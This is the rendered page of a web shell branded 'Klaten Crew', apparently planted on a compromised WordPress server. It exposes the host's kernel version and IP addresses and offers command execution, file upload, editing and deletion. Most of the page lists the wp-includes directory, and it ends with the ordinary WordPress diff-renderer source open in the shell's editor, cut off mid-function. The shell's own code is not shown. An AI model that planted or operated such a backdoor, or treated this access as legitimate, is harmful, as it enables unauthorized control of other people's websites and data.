HanJsXploit Klaten Crew
Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.217.47
System Info
HOME
home
ipifapor
proagricultura.ipifap.org
wp-includes
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-07-30 06:57:35
-
ID3
Folder
-
0755
2024-04-02 21:25:00
IXR
Folder
-
0755
2026-02-19 10:36:38
PHPMailer
Folder
-
0755
2026-02-11 23:38:20
Requests
Folder
-
0755
2023-03-29 20:35:13
SimplePie
Folder
-
0755
2024-11-13 18:55:59
Text
Folder
-
0755
2024-11-13 18:55:34
abilities-api
Folder
-
0755
2025-12-03 03:49:10
ai-client
Folder
-
0755
2026-05-21 14:46:21
assets
Folder
-
0755
2026-05-21 14:47:21
block-bindings
Folder
-
0755
2026-02-23 12:48:32
block-patterns
Folder
-
0755
2026-05-21 14:46:27
block-supports
Folder
-
0755
2026-05-21 14:46:21
blocks
Folder
-
0755
2026-05-21 14:46:47
build
Folder
-
0755
2026-06-14 19:15:16
certificates
Folder
-
0755
2022-12-14 06:43:13
css
Folder
-
0755
2026-05-21 14:46:27
customize
Folder
-
0755
2026-02-19 10:36:50
fonts
Folder
-
0755
2024-04-02 21:24:33
html-api
Folder
-
0755
2026-02-23 12:54:27
images
Folder
-
0755
2026-05-21 14:46:30
interactivity-api
Folder
-
0755
2026-02-23 12:54:38
js
Folder
-
0755
2025-12-03 03:48:50
l10n
Folder
-
0755
2026-02-23 12:55:49
php-ai-client
Folder
-
0755
2026-05-21 14:46:41
php-compat
Folder
-
0755
2022-12-14 06:43:13
pomo
Folder
-
0755
2022-12-14 06:43:13
rest-api
Folder
-
0755
2026-02-19 10:37:31
sitemaps
Folder
-
0755
2022-12-14 06:43:13
sodium_compat
Folder
-
0755
2022-12-14 06:43:13
style-engine
Folder
-
0755
2022-12-14 06:43:13
theme-compat
Folder
-
0755
2026-02-19 10:37:56
widgets
Folder
-
0755
2026-02-11 23:39:12
abilities-api.php
File
23.8 KB
0644
2025-12-03 03:49:21
abilities.php
File
7.82 KB
0644
2026-05-21 14:46:41
admin-bar.php
File
38.39 KB
0644
2026-05-21 14:46:27
ai-client.php
File
2.49 KB
0644
2026-05-21 14:46:28
atomlib.php
File
11.9 KB
0644
2025-12-03 03:49:24
author-template.php
File
19.38 KB
0644
2026-05-21 14:46:21
block-bindings.php
File
7.35 KB
0644
2025-12-03 03:49:19
block-editor.php
File
28.05 KB
0644
2026-05-21 14:46:27
block-i18n.json
File
316 B
0644
2021-08-11 20:38:02
block-patterns.php
File
15.24 KB
0644
2026-05-21 14:46:37
block-template-utils.php
File
61.33 KB
0644
2026-05-21 14:46:39
block-template.php
File
17.83 KB
0644
2026-05-21 14:46:39
blocks.php
File
116.64 KB
0644
2026-05-21 14:46:41
bookmark-template.php
File
12.47 KB
0644
2025-04-16 00:04:48
bookmark.php
File
15.07 KB
0644
2024-07-16 22:03:08
cache-compat.php
File
10.76 KB
0644
2026-05-21 14:46:37
cache.php
File
13.17 KB
0644
2025-12-03 03:49:19
canonical.php
File
33.83 KB
0644
2025-12-03 03:49:19
capabilities.php
File
42.61 KB
0644
2026-05-21 14:46:47
category-template.php
File
55.65 KB
0644
2026-05-21 14:46:28
category.php
File
12.53 KB
0644
2026-05-21 14:46:28
class-IXR.php
File
2.55 KB
0644
2025-04-16 00:04:53
class-avif-info.php
File
29.3 KB
0644
2026-05-21 14:46:37
class-feed.php
File
539 B
0644
2024-11-13 18:55:37
class-http.php
File
367 B
0644
2022-06-17 22:50:14
class-json.php
File
42.65 KB
0644
2025-12-03 03:49:21
class-oembed.php
File
401 B
0644
2022-06-17 22:50:14
class-phpass.php
File
6.61 KB
0644
2024-11-13 18:55:38
class-phpmailer.php
File
664 B
0644
2020-07-22 00:28:02
class-pop3.php
File
20.63 KB
0644
2025-04-16 00:04:43
class-requests.php
File
2.18 KB
0644
2023-08-16 03:52:00
class-simplepie.php
File
453 B
0644
2024-11-13 18:55:36
class-smtp.php
File
457 B
0644
2021-01-27 00:15:58
class-snoopy.php
File
36.83 KB
0644
2023-03-29 20:35:06
class-walker-category-dropdown.php
File
2.41 KB
0644
2023-11-08 11:16:14
class-walker-category.php
File
8.28 KB
0644
2023-11-08 11:16:19
class-walker-comment.php
File
13.89 KB
0644
2024-07-16 22:03:11
class-walker-nav-menu.php
File
11.76 KB
0644
2025-04-16 00:04:43
class-walker-page-dropdown.php
File
2.65 KB
0644
2023-11-08 11:16:14
class-walker-page.php
File
7.43 KB
0644
2023-11-08 11:16:15
class-wp-admin-bar.php
File
17.58 KB
0644
2026-05-21 14:46:30
class-wp-ajax-response.php
File
5.14 KB
0644
2022-09-13 02:17:14
class-wp-application-passwords.php
File
16.7 KB
0644
2025-04-16 00:04:44
class-wp-block-bindings-registry.php
File
8.07 KB
0644
2026-05-21 14:46:22
class-wp-block-bindings-source.php
File
2.92 KB
0644
2024-11-13 18:55:07
class-wp-block-editor-context.php
File
1.32 KB
0644
2022-09-13 02:17:14
class-wp-block-list.php
File
4.6 KB
0644
2025-12-03 03:49:19
class-wp-block-metadata-registry.php
File
11.57 KB
0644
2026-05-21 14:46:30
class-wp-block-parser-block.php
File
2.5 KB
0644
2025-12-03 03:49:20
class-wp-block-parser-frame.php
File
1.95 KB
0644
2026-05-21 14:46:37
class-wp-block-parser.php
File
11.25 KB
0644
2026-05-21 14:45:40
class-wp-block-pattern-categories-registry.php
File
4.28 KB
0644
2026-05-21 14:46:27
class-wp-block-patterns-registry.php
File
10.07 KB
0644
2026-05-21 14:46:21
class-wp-block-processor.php
File
68.32 KB
0644
2026-02-09 16:21:14
class-wp-block-styles-registry.php
File
6.27 KB
0644
2026-05-21 14:46:27
class-wp-block-supports.php
File
6.4 KB
0644
2026-05-21 14:46:34
class-wp-block-template.php
File
1.99 KB
0644
2024-11-13 18:55:07
class-wp-block-templates-registry.php
File
6.91 KB
0644
2026-05-21 14:46:19
class-wp-block-type-registry.php
File
4.91 KB
0644
2025-12-03 03:49:21
class-wp-block-type.php
File
16.83 KB
0644
2026-05-21 14:46:37
class-wp-block.php
File
24.14 KB
0644
2026-05-21 14:46:19
class-wp-classic-to-block-menu-converter.php
File
3.93 KB
0644
2026-05-21 14:46:33
class-wp-comment-query.php
File
47.49 KB
0644
2026-05-21 14:46:41
class-wp-comment.php
File
9.15 KB
0644
2026-05-21 14:46:30
class-wp-connector-registry.php
File
14.07 KB
0644
2026-05-21 14:46:38
class-wp-customize-control.php
File
25.51 KB
0644
2025-12-03 03:49:10
class-wp-customize-manager.php
File
198.13 KB
0644
2026-05-21 14:46:28
class-wp-customize-nav-menus.php
File
56.61 KB
0644
2026-05-21 14:46:39
class-wp-customize-panel.php
File
10.46 KB
0644
2025-04-16 00:04:48
class-wp-customize-section.php
File
10.95 KB
0644
2024-11-13 18:55:35
class-wp-customize-setting.php
File
29.26 KB
0644
2026-05-21 14:46:37
class-wp-customize-widgets.php
File
70.89 KB
0644
2026-05-21 14:46:39
class-wp-date-query.php
File
35.13 KB
0644
2026-05-21 14:46:30
class-wp-dependencies.php
File
16.69 KB
0644
2026-05-21 14:46:37
class-wp-dependency.php
File
2.59 KB
0644
2026-05-21 14:46:37
class-wp-duotone.php
File
39.95 KB
0644
2026-05-21 14:46:33
class-wp-editor.php
File
70.54 KB
0644
2026-05-21 14:46:27
class-wp-embed.php
File
15.54 KB
0644
2026-05-21 14:46:27
class-wp-error.php
File
7.33 KB
0644
2023-03-29 20:34:27
class-wp-exception.php
File
253 B
0644
2024-11-13 18:55:34
class-wp-fatal-error-handler.php
File
7.96 KB
0644
2024-11-13 18:55:34
class-wp-feed-cache-transient.php
File
3.23 KB
0644
2025-12-03 03:49:16
class-wp-feed-cache.php
File
969 B
0644
2024-11-13 18:55:36
class-wp-hook.php
File
16.25 KB
0644
2026-05-21 14:46:33
class-wp-http-cookie.php
File
7.1 KB
0644
2026-05-21 14:46:41
class-wp-http-curl.php
File
12.95 KB
0644
2025-12-03 03:49:10
class-wp-http-encoding.php
File
6.53 KB
0644
2023-08-16 03:52:07
class-wp-http-ixr-client.php
File
3.43 KB
0644
2026-05-21 14:46:37
class-wp-http-proxy.php
File
5.84 KB
0644
2023-08-16 03:51:24
class-wp-http-requests-hooks.php
File
1.97 KB
0644
2023-03-29 20:35:01
class-wp-http-requests-response.php
File
4.14 KB
0644
2026-05-21 14:46:28
class-wp-http-response.php
File
2.91 KB
0644
2022-09-13 02:17:14
class-wp-http-streams.php
File
16.37 KB
0644
2026-05-21 14:46:21
class-wp-http.php
File
40.67 KB
0644
2026-05-21 14:46:30
class-wp-icons-registry.php
File
7.67 KB
0644
2026-05-21 14:46:37
class-wp-image-editor-gd.php
File
20.22 KB
0644
2025-12-03 03:49:11
class-wp-image-editor-imagick.php
File
36.11 KB
0644
2025-12-03 03:49:23
class-wp-image-editor.php
File
17.01 KB
0644
2026-05-21 14:46:33
class-wp-list-util.php
File
7.27 KB
0644
2023-11-08 11:15:58
class-wp-locale-switcher.php
File
6.62 KB
0644
2025-12-03 03:49:18
class-wp-locale.php
File
16.45 KB
0644
2026-05-21 14:46:30
class-wp-matchesmapregex.php
File
1.79 KB
0644
2024-04-02 21:24:44
class-wp-meta-query.php
File
29.79 KB
0644
2026-05-21 14:46:20
class-wp-metadata-lazyloader.php
File
6.67 KB
0644
2023-08-16 03:52:00
class-wp-navigation-fallback.php
File
8.98 KB
0644
2025-12-03 03:49:21
class-wp-network-query.php
File
19.25 KB
0644
2026-05-21 14:46:34
class-wp-network.php
File
12.01 KB
0644
2024-11-13 18:55:28
class-wp-object-cache.php
File
17.11 KB
0644
2025-12-03 03:49:16
class-wp-oembed-controller.php
File
6.74 KB
0644
2024-07-16 22:03:05
class-wp-oembed.php
File
30.86 KB
0644
2026-05-21 14:46:47
class-wp-paused-extensions-storage.php
File
4.95 KB
0644
2026-05-21 14:46:39
class-wp-phpmailer.php
File
4.25 KB
0644
2025-12-03 03:49:10
class-wp-plugin-dependencies.php
File
24.59 KB
0644
2026-05-21 14:46:42
class-wp-post-type.php
File
29.95 KB
0644
2026-05-21 14:46:38
class-wp-post.php
File
6.33 KB
0644
2026-05-21 14:46:37
class-wp-query.php
File
159.6 KB
0644
2026-07-17 19:07:06
class-wp-recovery-mode-cookie-service.php
File
6.72 KB
0644
2022-10-04 14:29:14
class-wp-recovery-mode-email-service.php
File
10.9 KB
0644
2026-05-21 14:46:21
class-wp-recovery-mode-key-service.php
File
4.8 KB
0644
2026-05-21 14:46:35
class-wp-recovery-mode-link-service.php
File
3.44 KB
0644
2026-05-21 14:46:27
class-wp-recovery-mode.php
File
11.18 KB
0644
2025-04-16 00:04:50
class-wp-rewrite.php
File
62.2 KB
0644
2026-05-21 14:46:39
class-wp-role.php
File
2.46 KB
0644
2023-11-08 11:16:14
class-wp-roles.php
File
9.1 KB
0644
2026-05-21 14:46:41
class-wp-script-modules.php
File
39.65 KB
0644
2026-05-21 14:46:22
class-wp-scripts.php
File
35.93 KB
0644
2026-05-21 14:46:33
class-wp-session-tokens.php
File
7.15 KB
0644
2025-04-16 00:04:47
class-wp-simplepie-file.php
File
3.47 KB
0644
2025-12-03 03:49:11
class-wp-simplepie-sanitize-kses.php
File
1.87 KB
0644
2025-04-16 00:04:47
class-wp-site-query.php
File
30.74 KB
0644
2026-05-21 14:46:39
class-wp-site.php
File
7.28 KB
0644
2026-05-21 14:46:33
class-wp-speculation-rules.php
File
7.38 KB
0644
2026-05-21 14:46:28
class-wp-styles.php
File
13.04 KB
0644
2026-05-21 14:46:29
class-wp-tax-query.php
File
19.12 KB
0644
2025-12-03 03:49:21
class-wp-taxonomy.php
File
18.12 KB
0644
2025-04-16 00:04:44
class-wp-term-query.php
File
39.8 KB
0644
2026-05-21 14:46:22
class-wp-term.php
File
5.14 KB
0644
2026-05-21 14:46:38
class-wp-text-diff-renderer-inline.php
File
979 B
0644
2024-04-02 21:24:45
class-wp-text-diff-renderer-table.php
File
18.49 KB
0644
2026-05-21 14:46:30
class-wp-textdomain-registry.php
File
10.24 KB
0644
2024-11-21 21:32:32
class-wp-theme-json-data.php
File
1.77 KB
0644
2024-07-16 22:03:13
class-wp-theme-json-resolver.php
File
34.86 KB
0644
2026-05-21 14:46:28
class-wp-theme-json-schema.php
File
7.19 KB
0644
2024-07-16 22:03:13
class-wp-theme-json.php
File
169.57 KB
0644
2026-05-21 14:46:38
class-wp-theme.php
File
64.22 KB
0644
2026-05-21 14:46:37
class-wp-token-map.php
File
27.95 KB
0644
2024-11-13 18:55:34
class-wp-url-pattern-prefixer.php
File
4.69 KB
0644
2025-04-16 00:04:52
class-wp-user-meta-session-tokens.php
File
2.88 KB
0644
2026-05-21 14:46:28
class-wp-user-query.php
File
43.07 KB
0644
2026-05-21 14:46:27
class-wp-user-request.php
File
2.25 KB
0644
2025-04-16 00:04:53
class-wp-user.php
File
22.48 KB
0644
2026-05-21 14:46:37
class-wp-walker.php
File
13.01 KB
0644
2024-09-10 20:37:30
class-wp-widget-factory.php
File
3.27 KB
0644
2022-09-13 02:17:14
class-wp-widget.php
File
17.99 KB
0644
2026-05-21 14:46:28
class-wp-xmlrpc-server.php
File
209.98 KB
0644
2026-05-21 14:46:33
class-wp.php
File
25.75 KB
0644
2026-05-21 14:46:20
class-wpdb.php
File
115.86 KB
0644
2026-05-21 14:46:22
class.wp-dependencies.php
File
373 B
0644
2022-09-21 00:47:12
class.wp-scripts.php
File
343 B
0644
2022-09-21 00:47:12
class.wp-styles.php
File
338 B
0644
2022-09-21 00:47:12
comment-template.php
File
100.79 KB
0644
2026-05-21 14:46:39
comment.php
File
130.94 KB
0644
2026-05-21 14:46:33
compat-utf8.php
File
19.1 KB
0644
2025-12-03 03:49:22
compat.php
File
15.69 KB
0644
2026-05-21 14:46:38
connectors.php
File
23.52 KB
0644
2026-05-21 14:46:33
cron.php
File
43.94 KB
0644
2026-05-21 14:46:28
date.php
File
400 B
0644
2022-06-17 22:50:14
default-constants.php
File
11.1 KB
0644
2024-11-13 18:55:32
default-filters.php
File
36.54 KB
0644
2026-05-21 14:46:20
default-widgets.php
File
2.24 KB
0644
2025-04-16 00:04:42
deprecated.php
File
189.43 KB
0644
2026-05-21 14:46:20
embed-template.php
File
338 B
0644
2022-06-17 22:50:14
embed.php
File
37.9 KB
0644
2026-07-17 19:07:06
error-protection.php
File
4 KB
0644
2026-05-21 14:46:34
error_log
File
213.93 KB
0644
2026-06-30 20:53:45
feed-atom-comments.php
File
5.38 KB
0644
2024-04-02 21:24:50
feed-atom.php
File
3.05 KB
0644
2025-04-16 00:04:49
feed-rdf.php
File
2.61 KB
0644
2020-01-29 11:15:18
feed-rss.php
File
1.16 KB
0644
2020-01-29 11:15:18
feed-rss2-comments.php
File
4.04 KB
0644
2024-04-02 21:24:12
feed-rss2.php
File
3.71 KB
0644
2020-01-29 11:15:18
feed.php
File
24.6 KB
0644
2026-02-09 16:21:15
fonts.php
File
9.56 KB
0644
2026-05-21 14:46:38
formatting.php
File
346.6 KB
0644
2026-07-17 19:07:06
functions.php
File
283.52 KB
0644
2026-05-21 14:46:20
functions.wp-scripts.php
File
20.01 KB
0644
2026-05-21 14:46:37
functions.wp-styles.php
File
8.45 KB
0644
2026-05-21 14:46:33
general-template.php
File
170.83 KB
0644
2026-05-21 14:46:39
global-styles-and-settings.php
File
20.29 KB
0644
2026-05-21 14:46:28
http.php
File
26.62 KB
0644
2026-05-21 14:46:39
https-detection.php
File
5.72 KB
0644
2025-04-16 00:04:43
https-migration.php
File
4.63 KB
0644
2023-08-16 03:52:04
kses.php
File
81.03 KB
0644
2026-07-17 19:07:06
l10n.php
File
69.74 KB
0644
2026-05-21 14:46:38
link-template.php
File
156.39 KB
0644
2026-05-21 14:46:29
load.php
File
55.15 KB
0644
2026-05-21 14:46:28
locale.php
File
162 B
0644
2019-10-09 03:49:04
media-template.php
File
61.79 KB
0644
2026-05-21 14:46:21
media.php
File
219.66 KB
0644
2026-07-17 19:06:51
meta.php
File
65.17 KB
0644
2026-05-21 14:45:40
ms-blogs.php
File
25.71 KB
0644
2026-05-21 14:46:42
ms-default-constants.php
File
4.81 KB
0644
2024-07-16 22:03:10
ms-default-filters.php
File
6.48 KB
0644
2023-03-29 20:35:03
ms-deprecated.php
File
21.24 KB
0644
2026-05-21 14:46:21
ms-files.php
File
2.79 KB
0644
2025-12-03 03:49:21
ms-functions.php
File
89.69 KB
0644
2025-12-03 03:49:21
ms-load.php
File
19.57 KB
0644
2026-05-21 14:46:34
ms-network.php
File
3.69 KB
0644
2023-08-16 03:51:24
ms-settings.php
File
4.11 KB
0644
2025-12-03 03:49:21
ms-site.php
File
40.75 KB
0644
2026-05-21 14:46:34
nav-menu-template.php
File
25.38 KB
0644
2025-04-16 00:04:52
nav-menu.php
File
43.23 KB
0644
2026-05-21 14:46:21
option.php
File
102.62 KB
0644
2026-05-21 14:46:28
pluggable-deprecated.php
File
6.18 KB
0644
2025-04-16 00:04:53
pluggable.php
File
124.57 KB
0644
2026-05-21 14:46:27
plugin.php
File
35.65 KB
0644
2025-12-03 03:49:11
post-formats.php
File
6.9 KB
0644
2026-05-21 14:46:37
post-template.php
File
67.01 KB
0644
2026-05-21 14:46:35
post-thumbnail-template.php
File
10.62 KB
0644
2025-04-16 00:04:50
post.php
File
289.58 KB
0644
2026-05-21 14:46:30
query.php
File
36.23 KB
0644
2025-12-03 03:49:17
registration-functions.php
File
200 B
0644
2020-11-12 21:47:08
registration.php
File
200 B
0644
2020-11-12 21:47:08
rest-api.php
File
98.84 KB
0644
2026-07-17 19:07:07
revision.php
File
29.99 KB
0644
2026-05-21 14:46:27
rewrite.php
File
19 KB
0644
2026-05-21 14:46:38
robots-template.php
File
5.06 KB
0644
2022-04-07 03:03:04
rss-functions.php
File
255 B
0644
2020-11-17 09:22:06
rss.php
File
22.66 KB
0644
2025-12-03 03:49:21
script-loader.php
File
159.3 KB
0644
2026-05-21 14:46:37
script-modules.php
File
11.66 KB
0644
2026-05-21 14:46:28
session.php
File
258 B
0644
2020-02-06 17:03:12
shortcodes.php
File
23.47 KB
0644
2026-05-21 14:46:33
sitemaps.php
File
3.16 KB
0644
2021-05-16 05:08:06
speculative-loading.php
File
8.4 KB
0644
2025-12-03 03:49:20
spl-autoload-compat.php
File
441 B
0644
2020-11-12 21:47:08
style-engine.php
File
7.39 KB
0644
2024-07-16 22:03:13
taxonomy.php
File
172.99 KB
0644
2026-05-21 14:46:39
template-canvas.php
File
544 B
0644
2023-11-08 11:16:14
template-loader.php
File
4.17 KB
0644
2026-03-11 08:36:02
template.php
File
35.96 KB
0644
2026-05-21 14:46:34
theme-i18n.json
File
1.85 KB
0644
2026-05-21 14:45:40
theme-previews.php
File
2.82 KB
0644
2026-05-21 14:46:21
theme-templates.php
File
3.96 KB
0644
2026-05-21 14:46:21
theme.json
File
8.83 KB
0644
2026-05-21 14:46:20
theme.php
File
131.48 KB
0644
2026-05-21 14:46:42
update.php
File
37.38 KB
0644
2026-05-21 14:46:22
user.php
File
174.63 KB
0644
2026-05-21 14:46:20
utf8.php
File
7.09 KB
0644
2025-12-03 03:49:22
vars.php
File
6.45 KB
0644
2026-05-21 14:46:27
version.php
File
1.08 KB
0644
2026-07-17 19:07:09
view-transitions.php
File
602 B
0644
2026-05-21 14:46:35
widgets.php
File
69.17 KB
0644
2026-05-21 14:46:22
wp-db.php
File
445 B
0644
2022-07-22 10:15:12
wp-diff.php
File
799 B
0644
2025-04-16 00:04:49
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Klaten Crew WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: class-wp-text-diff-renderer-table.php
<?php /** * Diff API: WP_Text_Diff_Renderer_Table class * * @package WordPress * @subpackage Diff * @since 4.7.0 */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Table renderer to display the diff lines. * * @since 2.6.0 * @uses Text_Diff_Renderer Extends */ #[AllowDynamicProperties] class WP_Text_Diff_Renderer_Table extends Text_Diff_Renderer { /** * @see Text_Diff_Renderer::_leading_context_lines * @var int * @since 2.6.0 */ public $_leading_context_lines = 10000; /** * @see Text_Diff_Renderer::_trailing_context_lines * @var int * @since 2.6.0 */ public $_trailing_context_lines = 10000; /** * Title of the item being compared. * * @since 6.4.0 Declared a previously dynamic property. * @var string|null */ public $_title; /** * Title for the left column. * * @since 6.4.0 Declared a previously dynamic property. * @var string|null */ public $_title_left; /** * Title for the right column. * * @since 6.4.0 Declared a previously dynamic property. * @var string|null */ public $_title_right; /** * Threshold for when a diff should be saved or omitted. * * @var float * @since 2.6.0 */ protected $_diff_threshold = 0.6; /** * Inline display helper object name. * * @var string * @since 2.6.0 */ protected $inline_diff_renderer = 'WP_Text_Diff_Renderer_inline'; /** * Should we show the split view or not * * @var string * @since 3.6.0 */ protected $_show_split_view = true; protected $compat_fields = array( '_show_split_view', 'inline_diff_renderer', '_diff_threshold' ); /** * Caches the output of count_chars() in compute_string_distance() * * @var array * @since 5.0.0 */ protected $count_cache = array(); /** * Caches the difference calculation in compute_string_distance() * * @var array * @since 5.0.0 */ protected $difference_cache = array(); /** * Constructor - Call parent constructor with params array. * * This will set class properties based on the key value pairs in the array. * * @since 2.6.0 * * @param array $params */ public function __construct( $params = array() ) { parent::__construct( $params ); if ( isset( $params['show_split_view'] ) ) { $this->_show_split_view = $params['show_split_view']; } } /** * @ignore * * @param string $header * @return string */ public function _startBlock( $header ) { return ''; } /** * @ignore * * @param array $lines * @param string $prefix */ public function _lines( $lines, $prefix = ' ' ) { } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function addedLine( $line ) { return "<td class='diff-addedline'><span aria-hidden='true' class='dashicons dashicons-plus'></span><span class='screen-reader-text'>" . /* translators: Hidden accessibility text. */ __( 'Added:' ) . " </span>{$line}</td>"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function deletedLine( $line ) { return "<td class='diff-deletedline'><span aria-hidden='true' class='dashicons dashicons-minus'></span><span class='screen-reader-text'>" . /* translators: Hidden accessibility text. */ __( 'Deleted:' ) . " </span>{$line}</td>"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function contextLine( $line ) { return "<td class='diff-context'><span class='screen-reader-text'>" . /* translators: Hidden accessibility text. */ __( 'Unchanged:' ) . " </span>{$line}</td>"; } /** * @ignore * * @return string */ public function emptyLine() { return '<td> </td>'; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _added( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** * Contextually filters a diffed line. * * Filters TextDiff processing of diffed line. By default, diffs are processed with * htmlspecialchars. Use this filter to remove or change the processing. Passes a context * indicating if the line is added, deleted or unchanged. * * @since 4.1.0 * * @param string $processed_line The processed diffed line. * @param string $line The unprocessed diffed line. * @param string $context The line context. Values are 'added', 'deleted' or 'unchanged'. */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'added' ); } if ( $this->_show_split_view ) { $r .= '<tr>' . $this->emptyLine() . $this->addedLine( $line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->addedLine( $line ) . "</tr>\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _deleted( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/class-wp-text-diff-renderer-table.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'deleted' ); } if ( $this->_show_split_view ) { $r .= '<tr>' . $this->deletedLine( $line ) . $this->emptyLine() . "</tr>\n"; } else { $r .= '<tr>' . $this->deletedLine( $line ) . "</tr>\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _context( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/class-wp-text-diff-renderer-table.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'unchanged' ); } if ( $this->_show_split_view ) { $r .= '<tr>' . $this->contextLine( $line ) . $this->contextLine( $line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->contextLine( $line ) . "</tr>\n"; } } return $r; } /** * Process changed lines to do word-by-word diffs for extra highlighting. * * (TRAC style) sometimes these lines can actually be deleted or added rows. * We do additional processing to figure that out * * @since 2.6.0 * * @param array $orig * @param array $final * @return string */ public function _changed( $orig, $final ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.finalFound $r = ''; /* * Does the aforementioned additional processing: * *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes. * - match is numeric: an index in other column. * - match is 'X': no match. It is a new row. * *_rows are column vectors for the orig column and the final column. * - row >= 0: an index of the $orig or $final array. * - row < 0: a blank row for that column. */ list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final ); // These will hold the word changes as determined by an inline diff. $orig_diffs = array(); $final_diffs = array(); // Compute word diffs for each matched pair using the inline diff. foreach ( $orig_matches as $o => $f ) { if ( is_numeric( $o ) && is_numeric( $f ) ) { $text_diff = new Text_Diff( 'auto', array( array( $orig[ $o ] ), array( $final[ $f ] ) ) ); $renderer = new $this->inline_diff_renderer(); $diff = $renderer->render( $text_diff ); // If they're too different, don't include any <ins> or <del>'s. if ( preg_match_all( '!(<ins>.*?</ins>|<del>.*?</del>)!', $diff, $diff_matches ) ) { // Length of all text between <ins> or <del>. $stripped_matches = strlen( strip_tags( implode( ' ', $diff_matches[0] ) ) ); /* * Since we count length of text between <ins> or <del> (instead of picking just one), * we double the length of chars not in those tags. */ $stripped_diff = strlen( strip_tags( $diff ) ) * 2 - $stripped_matches; $diff_ratio = $stripped_matches / $stripped_diff; if ( $diff_ratio > $this->_diff_threshold ) { continue; // Too different. Don't save diffs. } } // Un-inline the diffs by removing <del> or <ins>. $orig_diffs[ $o ] = preg_replace( '|<ins>.*?</ins>|', '', $diff ); $final_diffs[ $f ] = preg_replace( '|<del>.*?</del>|', '', $diff ); } } foreach ( array_keys( $orig_rows ) as $row ) { // Both columns have blanks. Ignore them. if ( $orig_rows[ $row ] < 0 && $final_rows[ $row ] < 0 ) { continue; } // If we have a word based diff, use it. Otherwise, use the normal line. if ( isset( $orig_diffs[ $orig_rows[ $row ] ] ) ) { $orig_line = $orig_diffs[ $orig_rows[ $row ] ]; } elseif ( isset( $orig[ $orig_rows[ $row ] ] ) ) { $orig_line = htmlspecialchars( $orig[ $orig_rows[ $row ] ] ); } else { $orig_line = ''; } if ( isset( $final_diffs[ $final_rows[ $row ] ] ) ) { $final_line = $final_diffs[ $final_rows[ $row ] ]; } elseif ( isset( $final[ $final_rows[ $row ] ] ) ) { $final_line = htmlspecialchars( $final[ $final_rows[ $row ] ] ); } else { $final_line = ''; } if ( $orig_rows[ $row ] < 0 ) { // Orig is blank. This is really an added row. $r .= $this->_added( array( $final_line ), false ); } elseif ( $final_rows[ $row ] < 0 ) { // Final is blank. This is really a deleted row. $r .= $this->_deleted( array( $orig_line ), false ); } else { // A true changed row. if ( $this->_show_split_view ) { $r .= '<tr>' . $this->deletedLine( $orig_line ) . $this->addedLine( $final_line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->deletedLine( $orig_line ) . '</tr><tr>' . $this->addedLine( $final_line ) . "</tr>\n"; } } } return $r; } /** * Takes changed blocks and matches which rows in orig turned into which rows in final. * * @since 2.6.0 * * @param array $orig Lines of the original version of the text. * @param array $final Lines of the final version of the text. * @return array { * Array containing results of comparing the original text to the final text. * * @type array $orig_matches Associative array of original matches. Index == row * number of `$orig`, value == corresponding row number * of that same line in `$final` or 'x' if there is no * corresponding row (indicating it is a deleted line). * @type array $final_matches Associative array of final matches. Index == row * number of `$final`, value == corresponding row number * of that same line in `$orig` or 'x' if there is no * corresponding row (indicating it is a new line). * @type array $orig_rows Associative array of interleaved rows of `$orig` with * blanks to keep matches aligned with side-by-side diff * of `$final`. A value >= 0 corresponds to index of `$orig`. * Value < 0 indicates a blank row. * @type array $final_rows Associative array of interleaved rows of `$final` with * blanks to keep matches aligned with side-by-side diff * of `$orig`. A value >= 0 corresponds to index of `$final`. * Value < 0 indicates a blank row. * } */ public function interleave_changed_lines( $orig, $final ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.finalFound // Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array. $matches = array(); foreach ( array_keys( $orig ) as $o ) { foreach ( array_keys( $final ) as $f ) { $matches[ "$o,$f" ] = $this->compute_string_distance( $orig[ $o ], $final[ $f ] ); } } asort( $matches ); // Order by string distance. $orig_matches = array(); $final_matches = array(); foreach ( $matches as $keys => $difference ) { list($o, $f) = explode( ',', $keys ); $o = (int) $o; $f = (int) $f; // Already have better matches for these guys. if ( isset( $orig_matches[ $o ] ) && isset( $final_matches[ $f ] ) ) { continue; } // First match for these guys. Must be best match. if ( ! isset( $orig_matches[ $o ] ) && ! isset( $final_matches[ $f ] ) ) { $orig_matches[ $o ] = $f; $final_matches[ $f ] = $o; continue; } // Best match of this final is already taken? Must mean this final is a new row. if ( isset( $orig_matches[ $o ] ) ) { $final_matches[ $f ] = 'x'; } elseif ( isset( $final_matches[ $f ] ) ) { // Best match of this orig is already taken? Must mean this orig is a deleted row. $orig_matches[ $o ] = 'x'; } } // We read the text in this order. ksort( $orig_matches ); ksort( $final_matches ); // Stores rows and blanks for each column. $orig_rows = array_keys( $orig_matches 